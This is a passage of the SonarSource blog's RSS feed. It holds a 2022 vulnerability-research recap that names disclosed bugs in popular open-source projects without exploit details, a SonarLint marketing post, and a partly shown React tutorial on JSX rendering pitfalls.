Execution in Melis Platform&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Vulnerability Research Highlights 2022]]></title><description><![CDATA[Our research team looks back at a great year and summarizes the highlights of their vulnerability research in 2022.]]></description><link>https://www.sonarsource.com/blog/vulnerability-research-highlights-2022</link><guid isPermaLink="false">203ecb64-bc06-5ce5-aebd-5cea04f15732</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Wed, 11 Jan 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Software development is a fast-moving field. Today&amp;#x27;s vast landscape of different technologies requires developers to deal with various programming languages, configuration specifics, build systems, etc. This complexity sometimes makes it hard to keep up. To ease this burden, we at Sonar are constantly evolving our code analyzer to help developers &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;write Clean Code&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One crucial aspect of this is the detection of severe code vulnerabilities, which would allow attackers to exploit an application. Our dedicated research team finds and inspects vulnerabilities in modern open-source applications to better understand the most recent threats.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Based on the insights of these real-world vulnerabilities, we can improve our product, enabling our users to easily detect weak spots in their code. At the same time, we report all identified vulnerabilities to the corresponding vendors to protect the users of affected applications. We also publicly share our findings to help developers, and security researchers learn from those vulnerabilities, their potential exploitation, and the applied fixes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at our research highlights for the year 2022!&lt;/p&gt;&lt;h2&gt;Trends and Discovered Vulnerabilities&lt;/h2&gt;&lt;p&gt;When choosing an open-source application for vulnerability research, we prefer popular and actively deployed projects. This maximizes the impact of a critical vulnerability and more users can benefit from a patch. Also, the code of these applications has usually been audited by community members and professionals. This makes it more challenging to discover a vulnerability and oftentimes requires new approaches, which may unveil similar vulnerabilities in other applications and lead to stronger improvements of our products.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are excited that in 2022, our team found and reported about 50 severe vulnerabilities in some of the most popular applications across significant software categories and major programming languages:&lt;/p&gt;&lt;h3&gt;Web Frameworks &amp;amp; CMS&lt;/h3&gt;&lt;p&gt;The complexity and variety of modern web technologies is constantly increasing. To prevent starting from scratch when developing a web application, different web frameworks have become established. The security of these frameworks is essential, as a vulnerability in a framework does not only affect one particular application, but all applications using it. Because of this we spend some time to audit some of these frameworks and identified critical security issues:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Django&lt;/strong&gt; (Python) is an open-source web framework deeply embedded in the Python ecosystem. We discovered a way to trick the framework into &lt;a href=&quot;https://www.sonarsource.com/blog/disclosing-information-with-a-side-channel-in-django/&quot;&gt;disclosing sensitive information with a side-channel attack&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Blitz.js &lt;/strong&gt;(JavaScript) is an upcoming full-stack React framework. We identified a prototype pollution vulnerability, which an unauthenticated attacker can use to &lt;a href=&quot;https://www.sonarsource.com/blog/blitzjs-prototype-pollution/&quot;&gt;gain code execution&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;WordPress &lt;/strong&gt;(PHP) is the world&amp;#x27;s most popular content management system and is used by approximately 40% of all websites. We discovered multiple vulnerabilities including a &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-stored-xss-vulnerability/&quot;&gt;stored XSS vulnerability&lt;/a&gt;, which can be exploited by a malicious user to gain admin privileges. These admin privileges can be used the execute arbitrary PHP code, even on a hardened instance by leveraging an &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-object-injection-vulnerability/&quot;&gt;object injection vulnerability&lt;/a&gt;. Also, we disclosed an &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf/&quot;&gt;unauthenticated blind SSRF&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Mail Solutions&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/2021_Microsoft_Exchange_Server_data_breach&quot;&gt;global wave of attacks&lt;/a&gt; on Microsoft Exchange Servers in 2021 made it painfully clear to many organizations and companies, how important the security of their internet-facing mail solution is as it opened the door to their internal networks. In our effort to help secure the open-source world, we audited similar open-source mail solutions used by thousands of organizations and companies all over the world. During this research we unveiled critical security issues with devastating impacts:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Zimbra &lt;/strong&gt;(Java) is a popular webmail solution used by over 200,000 businesses and over a thousand government &amp;amp; financial institutions to exchange emails among millions of users every day. We discovered two severe vulnerabilities, which an unauthenticated attacker can exploit to &lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;steal emails via a Memcache injection&lt;/a&gt; and even gain code execution via a &lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-pre-auth-rce-via-unrar-0day/&quot;&gt;path traversal in Unrar&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Horde Webmail&lt;/strong&gt; (PHP) is another popular webmail solution, which universities and government agencies use to exchange sensitive email messages on a daily basis. We discovered two vulnerabilities, which allow attackers to &lt;a href=&quot;https://www.sonarsource.com/blog/horde-webmail-account-takeover-via-email/&quot;&gt;steal emails via stored XSS&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/horde-webmail-rce-via-email/&quot;&gt;gain code execution via CSRF&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Supply Chain Attacks&lt;/h3&gt;&lt;p&gt;We are also very excited that we could yet again identify vulnerabilities, which cannot only be used to target a specific installation but could have been abused by attackers to launch a supply chain attack. The impact of such an attack is tremendous because popular software dependencies can be infected, which will then be used by all dependent software components, potentially compromising millions of servers and users. Here are two findings:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PEAR&lt;/strong&gt; was the first PHP package manager. Although its use decreased in favor of Composer, it is still an integral part of the PHP ecosystem. We identified two vulnerabilities that were exploitable for more than 15 years. These vulnerabilities would allow an attacker to take over any developer account and then gain persistent access to the central PEAR server. The technical details &lt;a href=&quot;https://www.sonarsource.com/blog/php-supply-chain-attack-on-pear/&quot;&gt;can be found here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Composer &lt;/strong&gt;is the biggest PHP package manager, which serves around 2 billion software packages every month. We discovered a severe argument injection vulnerability in its official package repository called Packagist. This vulnerability would have allowed an attacker to hijack more than a hundred million monthly requests to distribute malicious dependencies and compromise millions of servers. You can learn more about this vulnerability in our &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;related blog post&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Developer Tools&lt;/h3&gt;&lt;p&gt;The most valuable asset of a software company is its source code. Developers have primary access to this source code, which makes them an attractive target for cybercriminals. Attacks against developers are increasing and in the past years, dozens have been documented. During our research we identified multiple vulnerabilities in developer tools, which could have been leveraged by attackers for malicious actions:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Yarn, pip, pnpm&lt;/strong&gt;, and other Package managers play an essential role in modern software development with thousands of packages and dependencies. As a result of our research, we found &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-package-managers/&quot;&gt;vulnerabilities in some of the most popular package managers&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Git &lt;/strong&gt;has become the quasi-standard when it comes to source code management. To make the work with it even easier, popular IDEs have implemented different ways to integrate Git. Though, our research showed that these integrations may &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;yield new vulnerabilities&lt;/a&gt; and thus create an additional attack surface against developers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Visual Studio Code&lt;/strong&gt; (JavaScript) is one of the most popular IDEs developed by Microsoft. We identified an &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;argument injection&lt;/a&gt;, which an attacker can leverage to execute arbitrary code on a user’s machine only by tricking the user into clicking on a link&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&lt;h3&gt;Monitoring Solutions&lt;/h3&gt;&lt;p&gt;Our modern digital world runs on top of a complex IT infrastructure. In order to ensure the availability of this fundamental infrastructure, a sophisticated monitoring solution is essential. These monitoring solutions are usually a central component of a company’s network, which makes them an attractive target for attackers. While auditing some popular open-source monitoring solutions, we identified critical vulnerabilities:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Zabbix&lt;/strong&gt; (PHP) is a very popular open-source monitoring solution. We identified a &lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;bypass in the SAML SSO authentication&lt;/a&gt;, which allows an attacker to gain admin privileges and execute arbitrary commands on linked Zabbix servers and agents.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Icigna&lt;/strong&gt; (PHP) is a modern, open-source IT monitoring solution. We discovered &lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;two vulnerabilities&lt;/a&gt;, which can be abused to disclose any file without prior authentication via a path traversal and execute arbitrary PHP code from the admin interface via a file write.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Checkmk&lt;/strong&gt; (Python) is an IT monitoring solution used by thousands of enterprise customers. We discovered multiple vulnerabilities, which can be &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;chained together by an unauthenticated attacker to gain code execution&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;… and many more. You can find all our vulnerability publications on our &lt;a href=&quot;https://www.sonarsource.com/blog/&quot;&gt;new blog here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Pwnie Award Nominations&lt;/h2&gt;&lt;p&gt;Following our nominations in 2021, we were really excited to receive yet another two nominations for the Pwnie Awards in 2022. The traditional Pwnie Awards are presented at the BlackHat USA conference and honor outstanding achievements of security researchers and the security community.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;We were nominated in the following categories:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Best Desktop Bug: Attacking Developer Tools&lt;/li&gt;&lt;li&gt;Most Underhyped Bug: PHP Supply Chain Attack on PEAR&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although we did not win the award, the nominations were a great honor for us again. Maybe this year! &lt;/p&gt;&lt;h2&gt;Pwn2Own&lt;/h2&gt;&lt;p&gt;Pwn2Own is a hacking contest held by &lt;a href=&quot;https://www.zerodayinitiative.com/&quot;&gt;ZDI&lt;/a&gt;, where participants are supposed to discover and exploit vulnerabilities in popular software or hardware devices. One of our highlights this year was our successful participation at the Pwn2Own Toronto 2022 as team &lt;em&gt;Sonar&lt;/em&gt;. Although a last-minute patch purged three of our exploits for the NETGEAR RAX30 router, we were able to &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-at-pwn2own-toronto-2022/&quot;&gt;successfully exploit the Synology RT6600ax router&lt;/a&gt; via the WAN interface.&lt;/p&gt;&lt;h2&gt;Conferences and Talks&lt;/h2&gt;&lt;p&gt;After the long-lasting restrictions due to COVID we were happy to attend multiple conferences in 2022 and engage with the security community in person.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9262bc96-0c5e-4999-99e7-7454cf6c7d7c/body-406c57da-9793-474f-8402-5272acb991b5_hexacon_tweet.jpeg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Conferences are a great opportunity to learn from the huge variety of sophisticated talks and a place where we can share knowledge. We were excited to share the outcomes of our research during 10 conference presentations, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Insomni’hack 2022&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=V-DdcKADnFk&quot;&gt;YouTube: A Common Bypass Pattern To Exploit Modern Web Apps by Simon Scannell&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=RLcK0kRGpjw&quot;&gt;YouTube: Two Bugs To Rule Them All: Taking Over The PHP Supply Chain by Thomas Chauchefoin&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Hexagon 2022&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=3m77KZ5FIBo&quot;&gt;YouTube: HEXACON2022 - You&amp;#x27;ve got mail! And I&amp;#x27;m root on your Zimbra server by Thomas Chauchefoin&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/bits-from-hexacon-2022/&quot;&gt;Blog: Bits from Hexacon 2022&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;OffensiveCon22&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=3EUo6RA-4y8&quot;&gt;YouTube: OffensiveCon22 - Simon Scannell, Niklas Breitfeld and Carl Smith - Counter-Strike: Global Offsets&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Code Security Advent Calendar&lt;/h2&gt;&lt;p&gt;The Code Security Advent Calender 2022 was the seventh edition of this yearly tradition. We think it is a great way to share some good vibes with the community and produce fun for every developer or security enthusiast. The challenges varied in difficulty and covered the following languages: C, C#, Java, JavaScript, Python, and PHP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This year&amp;#x27;s event was terrific: Many players actively participated in solving the challenges and we had some interesting discussions. We would like to thank everyone who participated!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You haven&amp;#x27;t done the challenges yet? Have a look at our &lt;a href=&quot;https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/&quot;&gt;dedicated website&lt;/a&gt; and try to spot the vulnerabilities.&lt;/p&gt;&lt;h2&gt;What’s next?&lt;/h2&gt;&lt;p&gt;2022 was undoubtedly a very exciting year for us. Looking back at everything, we are even more excited to look forward to the next one. Be prepared for some awesome vulnerability findings, which we can publish once patches are available. You can follow our research team on &lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;Twitter&lt;/a&gt; or &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;infosec.exchange&lt;/a&gt; if you want to stay up-to-date. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On behalf of SonarSource, we wish you a happy new year and a great and safe start!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Level up your team's skills as they code]]></title><description><![CDATA[Clear context and specific education for why an issue occurs and how to fix it should be by the developers’ side without leaving the development workflow. Sonar has your answer.]]></description><link>https://www.sonarsource.com/blog/level-up-coding-skills</link><guid isPermaLink="false">bad0ba69-150e-5695-976e-a2fd2b987d35</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Tue, 10 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Each individual that makes up your development team has a passion for their career that&amp;#x27;s as unique and important as they are. While developers tirelessly work to deliver exceptional software to meet the expectations of the business, they also have aspirations of their own. In fact, &lt;a href=&quot;https://hired.com/2022-state-of-software-engineers/&quot;&gt;72%&lt;/a&gt; of developers say new challenges and continuous learning drew them to their careers. And the desire to keep their minds at work is strong. Around &lt;a href=&quot;https://insights.stackoverflow.com/survey/2020&quot;&gt;75%&lt;/a&gt; of developers explore new technology at least once a year, with many saying they learn a new language, framework, or tool every few months. Plus, they really like coding - &lt;a href=&quot;https://survey.stackoverflow.co/2022/#technology-top-paying-technologies&quot;&gt;88% &lt;/a&gt;of developers code outside of work, with 73% of them coding as a hobby. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For many developers, their work isn&amp;#x27;t simply a job they do; it&amp;#x27;s a way of life. When they excel at their jobs and deepen their coding expertise, it can help improve the overall quality of their code writing and the speed at which they deliver it. This means that companies can only benefit from encouraging their developers to strengthen their coding skills in the name of quality, innovation, and retaining talent that wants to evolve.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Leveling up coding skills is essential for developers, but oftentimes, when an issue appears in their code, there&amp;#x27;s no way to gain quick access to &lt;strong&gt;why&lt;/strong&gt; it&amp;#x27;s an issue when it’s needed most. Even when they dedicate countless hours to adopting coding best practices and learning new languages, there can still be gaps in their knowledge. Plus, not all coding issues are equal. Although some may be easy to find and fix, others aren&amp;#x27;t. When the context for the issue is unclear, the work to resolve it can be tedious and time intensive. Whether it’s reaching out to a colleague or diving into a deep pool of internet research, making the mental switch of jumping out of the coding flow to determine what’s wrong is disruptive and creates delays in code delivery. &lt;/p&gt;&lt;h2&gt;Learn as You Code with Sonar&lt;/h2&gt;&lt;p&gt;Clear context and specific education for why an issue occurs and how to fix it should be by the developers’ side without leaving the development workflow. When developers can dedicate less time to figuring out the root cause of an issue because the answer is in front of them, they can spend more time focused on growing their coding skills to keep up with today&amp;#x27;s fast-paced delivery.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers need coding education and context that is:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;At the right place, right time with well-structured rule descriptions&lt;/li&gt;&lt;li&gt;Integrated within your workflow&lt;/li&gt;&lt;li&gt;Fast and lightweight&lt;/li&gt;&lt;li&gt;Relevant to a specific language&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar helps your developers gain access to immediate and contextualized feedback based on years of language analyzer experience. With automated code reviews that seamlessly integrate into the development workflow, developers can quickly gain an understanding of what the issue is:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/556bc782-e0ec-4f48-a96e-0465c4838a62/image%20%282%29.jpg&quot; /&gt;&lt;p&gt;Why it’s an issue: &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8c695f62-66a6-4436-b3ca-29e027f6c1b8/image%20%283%29.jpg&quot; /&gt;&lt;p&gt;And how they can fix it:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3722740b-a458-44c3-9692-ee4274fc819e/image%20%284%29.jpg&quot; /&gt;&lt;p&gt;All without having to look outside of the workflow for answers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Plus, &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, Sonar’s free IDE extension, automatically boosts coding efficiency with its quick fixes feature. Quick fixes present solutions that are specific to issues that appear as developers write code. This helps developers repair coding flaws in real-time, saving time and effort. Beyond these intuitive tools, developers gain access to an active community focused on the pursuit and support of &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For most developers, coding isn’t just a day job - it&amp;#x27;s a lifelong passion. It’s never been easier to help developers pursue their passion and grow their coding skills with intuitive, embedded issue-specific education. With the tools and resources from Sonar, writing high-quality code has never been more accessible and helps set your development team up to operate with maximum precision and velocity.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lesser spotted React mistakes: What are we even rendering?]]></title><description><![CDATA[This series is dedicated to the small, but common pitfalls and errors you can encounter when writing React code.
Whether an experienced JavaScript | TypeScript developer or just starting out, the results can be surprising.]]></description><link>https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-what-are-we-even-rendering</link><guid isPermaLink="false">8e8e40df-798c-5fed-a339-72624f3b1e80</guid><dc:creator><![CDATA[Gabriel Vivas]]></dc:creator><pubDate>Thu, 05 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This series is dedicated to the small, but common pitfalls and errors you can encounter when writing React code. Whether an experienced JavaScript | TypeScript developer or just starting out, the results can be surprising.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These are the kind of issues you want to catch early in your IDE before you spend hours debugging. You can copy/paste the code examples in VS Code with the SonarLint plugin if you want to see them for yourself and try to catch them before they happen to you!&lt;/p&gt;&lt;h2&gt;Render what?&lt;/h2&gt;&lt;p&gt;In this third and final installment of the series, we’ll look at three subtle defects that go from rendering unexpected characters, to silently not rendering anything at all. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These insidious mistakes are small in character count, but produce real problems that are hard to track once they find their way into your codebase 😈.&lt;/p&gt;&lt;h2&gt;Render non-boolean values&lt;/h2&gt;&lt;p&gt;When using JSX in React you can conditionally render your components. One common way to do it is using the logical AND operator &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; to render when there is a &lt;em&gt;truthy&lt;/em&gt; value or show nothing in the other case.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here’s an example Component that greets people when necessary, let’s call it &lt;code&gt;Greeting.tsx&lt;/code&gt; since it uses TypeScript:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React from &quot;react&quot;;

interface GreetingProps {
  people: Array&lt;string&gt;;
}

export function Greeting({ people }: GreetingProps) {
  return &lt;div&gt;{people.length &amp;&amp; &quot;Hello people&quot;}&lt;/div&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are following along at home in VS Code, make sure you have a &lt;code&gt;tsconfig.json&lt;/code&gt; too:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
    &quot;compilerOptions&quot;: {
      &quot;jsx&quot;: &quot;react&quot;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alternatively, if you’re into terminals and you already have the &lt;code&gt;npm&lt;/code&gt; command, you can run:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ npx tsc –init
$ npm i react&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Well done! You’ve got yourself some over-engineered greeting with optional rendering. Nice.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, this pattern does not always work as expected. We managed to introduce a bug already. Look at this other example of a Component that simply shows a list of names. Try to spot the issue:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export function PeopleGreetings({ people }: GreetingProps) {
  return (
    &lt;div&gt;
      &lt;ul&gt;
        {people.length &amp;&amp;
          people.map((name) =&gt; &lt;li key={name}&gt;Hello {name}!&lt;/li&gt;)}
      &lt;/ul&gt;
    &lt;/div&gt;
  );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Surprisingly, when &lt;code&gt;people&lt;/code&gt; is an empty Array this will render &lt;code&gt;“0”&lt;/code&gt; instead of nothing 🤯.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the number zero is a &lt;em&gt;falsy&lt;/em&gt; value there would be no list to show. However, React treats the number &lt;code&gt;0&lt;/code&gt; as a legitimate value to render as a String. More generally, React will render all non-boolean &lt;em&gt;falsy&lt;/em&gt; value types, like Number or BigInt. This includes &lt;code&gt;NaN&lt;/code&gt;, which might also come from an arithmetic issue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Furthermore, if you are using React Native, your render method will actually crash with &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;NaN&lt;/code&gt; values 💥.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To be safe, you can use a ternary to explicitly return &lt;code&gt;null&lt;/code&gt; if that is what you intended:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export function PeopleGreetings2({ people }: GreetingProps) {
  return (
    &lt;div&gt;
      &lt;ul&gt;
        {people.length
          ? people.map((name) =&gt; &lt;li key={name}&gt;Hello {name}!&lt;/li&gt;)
          : null}
      &lt;/ul&gt;
    &lt;/div&gt;
  );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You could also write an expression that evaluates to a real boolean, like so:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export function PeopleGreetings3({ people }: GreetingProps) {
  return (
    &lt;div&gt;
      &lt;ul&gt;
        {people.length &gt; 0 &amp;&amp;
          people.map((name) =&gt; &lt;li key={name}&gt;Hello {name}!&lt;/li&gt;)}
      &lt;/ul&gt;
    &lt;/div&gt;
  );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, how to detect this issue before it creates an obscure bug?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, because this is related to how React components work, JavaScript thinks this is what you want. Not even TypeScript could detect an issue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course, if you’re using SonarLint, you’re covered 😎. See below:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ca61fdde-ddf7-45b4-9460-f44bf29ece73/Lesser%20Spotted%20React%20mistakes%20sonarlint-s6439.png&quot; /&gt;&lt;p&gt;In case you’re wondering, Eslint also has a rule for detecting this. Although you might need to add the &lt;code&gt;eslint-plugin-react&lt;/code&gt; plugin and configure it in your &lt;code&gt;.eslintrc.json&lt;/code&gt; file. Note that this rule is NOT included by default in the React plugin’s “react/recommended” setting, you need to add it manually even if you are already extending:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ npm install eslint eslint-plugin-react --save-dev

$ cat .eslintrc.json

{

  &quot;extends&quot;: [

    &quot;plugin:react/recommended&quot;

  ],

  &quot;rules&quot;: {

    &quot;react/jsx-no-leaked-render&quot;: [

      &quot;error&quot;,

      { &quot;validStrategies&quot;: [&quot;ternary&quot;, &quot;coerce&quot;] }

    ]

  }

}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Render your comments&lt;/h2&gt;&lt;p&gt;Not all comments are made alike. As you know, there are a few ways to create comments in JavaScript and TypeScript:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// I’m a single line comment

/*

 * I’m a multiline comment

 */

const today = Date.now() // Inline comment here&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That’s all fine. The problem comes when you try to do that within JSX in a React Component. Can you guess what this will render?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function Secrets() {

  return &lt;div&gt;

    // nothing here

  &lt;/div&gt;

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;More than a &lt;code&gt;div&lt;/code&gt;. It turns out it will render the string &lt;code&gt;// nothing here too&lt;/code&gt; 😅. This will also happen if you use the multiline comment syntax:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function Secrets() {

  return &lt;div&gt;

    /* nothing here */

  &lt;/div&gt;

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Besides the &lt;code&gt;div&lt;/code&gt;, that will render the string &lt;code&gt;/* nothing here */&lt;/code&gt; 🙃. But why?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What we are commonly using in React Components is JSX, not HTML or XML, even if it looks similar. Being a syntax extension, it needs some preprocessing to be converted into valid ECMAScript code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It can help to see what the plain JavaScript version of the JSX would look like. It’s just a function call:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function Secrets() {

  return React.createElement(&quot;div&quot;, null, &quot;/* nothing here */&quot;);

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you know your HTML or XML, you might dare to try this version:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function Lies() {

  return &lt;div&gt;

    &lt;!-- Appearances can be deceiving --&gt;

  &lt;/div&gt;

